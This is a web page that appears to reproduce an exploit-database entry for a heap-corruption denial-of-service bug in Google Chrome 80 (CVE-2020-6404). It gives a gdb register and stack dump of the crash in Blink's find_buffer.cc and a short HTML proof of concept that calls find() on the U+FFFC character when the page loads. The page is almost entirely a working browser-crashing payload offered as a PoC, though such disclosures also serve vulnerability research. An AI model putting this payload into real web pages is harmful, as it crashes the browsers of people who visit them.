Registergoogle chrome 80.0.3987.87 heapcorruption remote denial of service (poc)
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# Exploit Title: Google Chrome 80.0.3987.87 - Heap-Corruption Remote Denial of Service (PoC) # Google Dork: N/A # Date: 2020-02-21 # Exploit Author: Cem Onat Karagun of Diesec GmBH # Vendor Homepage: https://www.google.com/ # Version: Google Chrome 80.0.3987.87 # Tested on: Windows x64 / Linux Debian x64 / MacOS # CVE: CVE-2020-6404 # PoC Video: http://www.youtube.com/watch?v=tv5sDDwiWg8 # Description: https://bugs.chromium.org/p/chromium/issues/detail?id=1024256 Thread 35 "Chrome_InProcRe" received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x7f2cbf9ad700 (LWP 3275)] [----------------------------------registers-----------------------------------] RAX: 0x7f2cbe98d100 --> 0x41b58ab3 RBX: 0x7f2cbf9aa9c0 --> 0xfe597d7178d --> 0x0 RCX: 0x1fffffffffffffff RDX: 0x7f2cbeb8bdf4 --> 0x0 RSI: 0x7f2cbeb8bdc0 --> 0x613000000000 --> 0xcc6e96b9 --> 0x0 RDI: 0x0 RBP: 0x7f2cbf9aaa70 --> 0x7f2cbf9aabf0 --> 0x7f2cbf9aad10 --> 0x7f2cbf9aadd0 --> 0x7f2cbf9aaea0 --> 0x7f2cbf9aafb0 (--> ...) RSP: 0x7f2cbf9aa9c0 --> 0xfe597d7178d --> 0x0 RIP: 0x559e50c11189 (<RangeFromBufferIndex()+377>: mov cl,BYTE PTR [rcx+0x7fff8000]) R8 : 0xfffffffffffffff8 R9 : 0x0 R10: 0x7f2cbec6a670 --> 0x7f2cbec6a070 --> 0xd47000000000000 ('') R11: 0x7f2cbe98d100 --> 0x41b58ab3 R12: 0xfe597d31a20 --> 0x0 R13: 0x7f2cbeb8bde8 --> 0x0 R14: 0x0 R15: 0x2 EFLAGS: 0x10a06 (carry PARITY adjust zero sign trap INTERRUPT direction OVERFLOW) [-------------------------------------code-------------------------------------] 0x559e50c1117e <RangeFromBufferIndex()+366>: lea r8,[rdi-0x8] 0x559e50c11182 <RangeFromBufferIndex()+370>: mov rcx,r8 0x559e50c11185 <RangeFromBufferIndex()+373>: shr rcx,0x3 => 0x559e50c11189 <RangeFromBufferIndex()+377>: mov cl,BYTE PTR [rcx+0x7fff8000] 0x559e50c1118f <RangeFromBufferIndex()+383>: test cl,cl 0x559e50c11191 <RangeFromBufferIndex()+385>: jne 0x559e50c11418 <RangeFromBufferIndex()+1032> 0x559e50c11197 <RangeFromBufferIndex()+391>: add rdi,0xffffffffffffffff 0x559e50c1119b <RangeFromBufferIndex()+395>: mov rcx,rdi [------------------------------------stack-------------------------------------] 0000| 0x7f2cbf9aa9c0 --> 0xfe597d7178d --> 0x0 0008| 0x7f2cbf9aa9c8 --> 0xc0c001162e6 --> 0x0 0016| 0x7f2cbf9aa9d0 --> 0xfe597d717be --> 0x0 0024| 0x7f2cbf9aa9d8 --> 0xfe597d717bd --> 0x0 0032| 0x7f2cbf9aa9e0 --> 0x7f2cbeb8bdf4 --> 0x0 0040| 0x7f2cbf9aa9e8 --> 0x7f2cbeb8bea0 --> 0x6060008b1720 --> 0x602000098630 --> 0x200000003 --> 0x0 0048| 0x7f2cbf9aa9f0 --> 0x21bec4d308 --> 0x0 0056| 0x7f2cbf9aa9f8 --> 0xfe597cfab48 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000559e50c11189 in MappingForIndex () at ../../third_party/blink/renderer/core/editing/finder/find_buffer.cc:450 450 ../../third_party/blink/renderer/core/editing/finder/find_buffer.cc: No such file or directory. <!DOCTYPE html> <head> <script type="text/javascript"> document.addEventListener("DOMContentLoaded", function(){ find(decodeURIComponent('\uFFFC')); }); </script> </head> <body> <legend></legend> </body> </html>
Google chrome 80.0.3987.87 heapcorruption remote denial of service (poc) Vulnerability / Exploit Source : Google chrome 80.0.3987.87 heapcorruption remote denial of service (poc)
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